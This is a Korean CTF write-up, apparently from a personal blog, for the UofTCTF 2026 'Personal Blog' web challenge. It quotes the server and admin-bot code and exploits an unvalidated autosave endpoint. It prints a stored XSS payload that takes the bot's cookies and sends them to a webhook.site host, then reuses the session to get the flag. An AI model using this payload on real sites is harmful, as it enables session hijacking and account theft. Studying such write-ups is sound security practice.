반응형
UofTCTF 2026 - Personal Blog Writeup
해외대회에서 처음 먹은 퍼스트블러드였다.
아래처럼 설명이 있다.
For your eyes only?
Visit the website here.
Author: janky
1. analyze
server.js
/api/autosave에서 rawContent에 대한 입력 값 검증이 없는 것이 보였다.
app.post('/api/autosave', requireLogin, (req, res) => {
const db = req.db;
const postId = Number.parseInt(req.body.postId, 10);
if (!Number.isFinite(postId)) {
return res.status(400).json({ ok: false });
}
const post = getPostById(db, req.user.id, postId);
if (!post) {
return res.status(404).json({ ok: false });
}
const rawContent = String(req.body.content || '');
post.draftContent = rawContent;
post.updatedAt = Date.now();
saveDb(db);
return res.json({ ok: true });
});
report 시 bot을 부를 수 있다.
app.post('/report', requireLogin, async (req, res) => {
const rawUrl = (req.body.url || '').trim();
const target = normalizeReportUrl(rawUrl);
if (!target) {
return res.render('report', reportContext(null, 'Only local URLs are allowed.'));
}
if (POW_ENABLED) {
const challenge = req.body.pow_challenge || '';
const solution = req.body.pow_solution || '';
if (!powCheck(challenge, solution, POW_DIFFICULTY)) {
return res.render('report', reportContext(null, 'Proof of work failed.'));
}
}
try {
const response = await fetch(`${BOT_ORIGIN}/visit`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: target })
});
if (!response.ok) {
throw new Error(`bot status ${response.status}`);
}
return res.render('report', reportContext('Admin is on the way.', null));
} catch (err) {
return res.render('report', reportContext(null, 'Bot request failed. Try again in a moment.'));
}
});
/bot/index.js
봇은 report를 받아서 해당 target에 방문을 해준다.
app.post('/visit', async (req, res) => {
const target = String(req.body.url || '');
if (!isLocalUrl(target)) {
return res.status(400).json({ ok: false, error: 'invalid url' });
}
loginAndVisit(target).catch((err) => {
console.log(err);
});
return res.status(202).json({ ok: true, status: 'started' });
});
app.listen(PORT, () => {
console.log(`admin bot listening on ${PORT}`);
});
Exploit
1. Stored XSS를 이용하여 봇의 쿠키를 훔쳐서 웹훅에 전달하는 content를 /api/autosave에 저장
< img src = x onerror = \"
try {
const m = document.cookie.match(/(?:^|;\\s*)sid_prev=([^;]+)/);
const v = m ? m[1] : 'NO_SID_PREV';
fetch('https://webhook.site/WEBHOOK_ID?sid_prev=' + encodeURIComponent(v) + '&cookie=' + encodeURIComponent(document.cookie));
} catch (e) {
fetch('https://webhook.site/WEBHOOK_ID?err=' + encodeURIComponent(String(e)));
}\
">

2. /magic/generate를 통해 토큰생성

3. 웹훅에서 쿠키 확인이 되었으니 쿠키 바꿔서 /flag 접근 시 FLAG 획득 가능

-
uoftctf{533M5_l1k3_17_W4snt_50_p3r50n41...}

728x90
'웹해킹 > CTF' 카테고리의 다른 글
| ASIS CTF Final - ricks gallery 정리 (0) | 2025.12.29 |
|---|---|
| shaktiCTF25 web Writeup (3) | 2025.07.27 |
| GCHD CTF Web PoC - SSTI URL Health Check and Heapdump (0) | 2023.11.27 |
| UDCTF 2023 web Writeup (0) | 2023.11.05 |
| CCE-2023 연습문제 풀이 - baby web (0) | 2023.06.06 |